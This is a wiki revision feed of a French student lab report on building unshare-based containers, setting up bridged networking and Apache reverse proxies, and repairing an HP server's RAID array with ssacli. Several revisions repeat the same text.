Pour l'interface eth0 :&lt;br /&gt;
&lt;br /&gt;
  address 127.26.145.146/24&lt;br /&gt;
  gateway 192.26.145.253&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  domain polytech-lille.org&lt;br /&gt;
  search deule.net&lt;br /&gt;
  nameserver 192.48.57.48&lt;br /&gt;
  nameserver 193.48.57.33&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
&lt;br /&gt;
  nano ~/.profile&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48101</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48101"/>
				<updated>2018-11-27T09:26:53Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Séance 4 : TP PRA (Suite) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec Docker :==&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP XXXXXX, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP XXXXXXX.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
XXX&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
XXX&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
XXX&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48067</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48067"/>
				<updated>2018-11-27T07:31:50Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Séance 3 : TP PRA */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
